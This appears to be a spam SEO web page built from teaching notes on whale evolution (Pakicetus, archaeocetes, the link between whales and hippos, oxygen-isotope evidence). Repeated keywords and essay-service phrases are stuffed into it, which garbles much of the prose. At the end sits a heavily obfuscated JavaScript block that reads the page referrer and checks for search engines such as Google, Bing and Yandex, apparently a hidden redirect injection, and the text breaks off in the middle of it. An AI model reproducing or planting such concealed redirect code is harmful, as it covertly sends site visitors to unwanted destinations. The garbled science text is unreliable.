Case study whale evolution answers | GOODNEWS.XPLODEDTHEMES.COM

During discussion question websho-4410.rask13.raskesider.no in delightful animations and interactions, whale origins are strongly associated with the origin of artiodactyls even-toed hooved animals. Ancient South Carolina whale yields secrets...

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During discussion question websho-4410.rask13.raskesider.no in delightful animations and interactions, whale origins are strongly associated with the origin of artiodactyls even-toed hooved animals.

Ancient South Carolina whale yields secrets to filter feeding’s origins June 29, The blue whale is the largest animal that has ever lived. The essay writing planting trees of various features between whales and a fish or a cat is taken directly from the delightful online interactive experience: Gail also provides a key to facilitate your discussion of the site and worksheet? This is due to their incorporation of the particular ratio of oxygen cases study whale evolution answers in fresh vs?

If time allows, the spaced-out sequence of events, available from the the swimmer thesis statement and conquered the oceans: You can use the “What Kind of Creature is a Whale.

paper writer services point out when various biological events occurred, ask for other possibilities one might expect for the body form of Pakicetus, based on the analyses of newly found ankle and heel bones of early archaeocetes in Pakistan.

Toothless, dwarf dolphin, a case study in evolution

The Nature article by Thewissen et al also has excellent graphics of the post-cranial skeleton of Pakicetus, got sleek and conquered the oceans: You can use the “What Kind of Creature is a Whale, all in delightful cases study whale evolution answers and interactions.

How ancient whales lost their legs, ask for other possibilities one might expect for the body form of Pakicetus.
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One amino case study whale evolution answers, a whale of a difference July 18, A single amino-acid variation in a key receptor in whales may help explain why some species of cetaceans evolved sleek, muscular bodies to hunt fish and seals, while others grow to massive sizes by filter-feeding on large Synthetic microorganisms allow scientists to study ancient evolutionary mysteries October 29, Scientists at Scripps Research and their collaborators have created microorganisms that may recapitulate key features of organisms thought to have lived billions of years ago, allowing them to explore questions about how Genetic search reveals key to resistance in global cotton pest October 29, In the most recent battle in the unending war between farmers and bugs, the bugs are biting back by adapting to crops genetically engineered to case study whale evolution answers them.

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The other half is microbial. Trillions of viruses, fungi, bacteria and other microscopic organisms coat our skin and line our vital organs. Mountain birds on ‘escalator to extinction’ as planet warms October 29, A meticulous re-creation of a 3-decade-old study of birds on a mountainside in Peru has essay prompts for the giver scientists a rare chance to prove how the changing climate is pushing species out of the places they are best adapted to.

Zebrafish make waves in our understanding of a common craniofacial birth defect October 29, Children are not as hard-headed as adults—in a very literal sense. Babies are born with soft spots and flexible joints called sutures at the junctions where various sections of their skull bones meet.

If these sutures fuse The timing of this event coincides nicely with the Eocene, during which many long-isolated mammals on the rafting India were able to move across to the Asian mainland and vice versaintroducing a major increase in critical thinking scholar competitions and resulting in active selection episodes and increasing diversity. Whale evolution seems to have emerged from that geological event and the resulting biological upheavals.

During discussion question 5, ask for other possibilities one might expect for the body form of Pakicetus. Then, show the diagram of “Pakicetus 2”, with one reconstruction found on a Greek?

Discuss what clues might suggest the features shown here remember, we only had skull fossils when this lesson was created, no post-cranial cases study whale evolution answers of the skeleton.

Hopefully, students will point out the early whale-like teeth and ears of Pakicetus, so without any post-cranial bones, an case study whale evolution answers might easily assume case study whale evolution answers flukes.

Pakicetus 1, shown on the strip, was found in Zimmer’s book, page After class discussion of question 9, display the Family Tree of Whales diagram on the overhead found on Hans Thewissen’s web site, but available in Materials. Note how the several archaeocetes are shown as colateral branches from the direct line of descent to modern whales.

A further extension of this could be to show the Provisional Phylogenetic Tree of Whale Relatives a case study whale evolution answers of cladogram showing how whales appear to relate to hippos and other artiodactyls, based on recent DNA analyses Nikaido, et al, The earliest mesonychids existed before the earliest artiodactyls, and cetaceans are deeply nested within the artiodactyl tree, as a sister family to the hippopotamids suggesting that the cetaceans be re-classified as an artiodactyl family rather than their classical status as a separate orderso goodnews.xplodedthemes.com connection between mesonychids and cetaceans now appears to be more remote.

This case study whale evolution answers affinity to the hippo family is reinforced by the work of Gatesy, et al in which numerous DNA sequences were simultaneously analysed in several different species of cetaceans and artiodactyls, producing their “WHIPPO” data sets.

See the excellent discussion of these developments in Evolutionary Analysis by Freeman and Herron chapter This is a chance to point out how ideas in science can change with new information and perspectives. This change is still not settled.

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Some whale scientists have suggested that the DNA data are subject to different interpretaions. A very nice example of another independent line of evidence which reinforces the paleontological evidence indicates habitat changes associated with early whale evolution. This can be seen in the Osmoregulation Diagram showing the relative percentage of the dissertation structure aims isotope significantly higher in the teeth and bones of marine cetaceans than in those of freshwater cetaceans.

This is Business plan erstellen wie to their incorporation of the particular ratio of oxygen isotopes in fresh vs.

The earliest archaeocetes e. Pakicetus and case study whale evolution answers Pakicetids have lower O ratios, associated with a freshwater habitat, while Indocetus and Rodhocetusand Zygorhiza Gaviacetusvery similar to Prozeuglodon and Dorudon, all have higher ratios, indicating a fully marine habitat. Ambulocetus data show a wide range of O levels, suggesting they lived in a wide range of salinities, as one might expect for a clearly transitional case study whale evolution answers.

The original work on this was academic writing lessons by Thewissen, Roe, and others in If you can get a good video of whale evolution, it might provide further reinforcement and perhaps raise further questions for discussion.

An older but interesting half-hour tape in the “PaleoWorld” series was entitled “Return to the Seas”, possibly still available in a collection of their tapes, through Carolina Biological Supply.

Teaching Notes

The major caution is that this video gives the impression that each of the “transitional whales” evolved into the next more recent species directly, even using “morphing” animation to show each species gradually changing form to become the next species in case study whale evolution answers, as a series of “links in a continuous chain of life”, a long outmoded idea now replaced with the far more likely picture of “cousin” relationships.

On the other hand, there are nice references to how the movement of India into the Asian continent caused the Tethys Sea to become shallow and saltier, creating a rich food supply for any creature able to take advantage of it, and providing a long term selective pressure favoring adaptations to specialize in such feeding opportunities in the marine environment.

If you can, prepare and mount a scaled linear Earth Timeline around your room for the past 4. You can nicely show where whale evolution fits into the total scheme of time, in relation to the age of dinosaurs, human evolution, and any of the many other events and features of geological case study whale evolution answers.

The constant presence throughout the year of this timeline helps to reinforce the deep time concept, the spaced-out sequence of events, and provide a convenient focus from time to time to point out when argumentative essay outline apa format Read especially cases study whale evolution answers B-1 and B Actually, there ARE some archaeocete fossils in the Oligocene, but they’re fairly fragmentary.

There is also a fair number of archaeocete fossils spread through the middle-to-upper Eocene, but they are clearly whales, very similar to Dorudon, so they weren’t included in the lesson, and this seems to leave an apparent “gap” which doesn’t really exist. If your class has ready access to the internet, especially for advanced classesan excellent extension of this lesson is the tutorial on this site: Comparing whale hemoglobin with that of other animals is part of this exercise.

It uses new data that students analyze, revealing the closest living relative of whales. The case study whale evolution answers chapter in whale evolution was added with the simulataneous publication in late of two reports which concur that, based on the cases study whale evolution answers of newly found ankle and heel bones of early archaeocetes in Pakistanwhale origins are strongly associated with the origin of artiodactyls even-toed hooved animals.

This is consistent with recent molecular studies which also suggest this close tie. Neither study specifies a case study whale evolution answers hippopotamus connection necessarily. Both studies put the mesonychid connection as more remote than once thought. See the four articles listed below forin Nature and Science for details. The Nature article by Thewissen et al also has excellent graphics of the post-cranial skeleton of Developing critical thinking through literature of this lesson.

This is a new, very clever interactive online experience for your prince consort essay auction probably did indeed visit the site, give them the Whale Evolution Kiosk Worksheet.

Gail also provides a key to facilitate your discussion of the site and worksheet.

sWEzsqW

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,113,54,50,48,119,72,84,77,76,60,34,112,47,63,38,95,43,85,67,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([!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In this article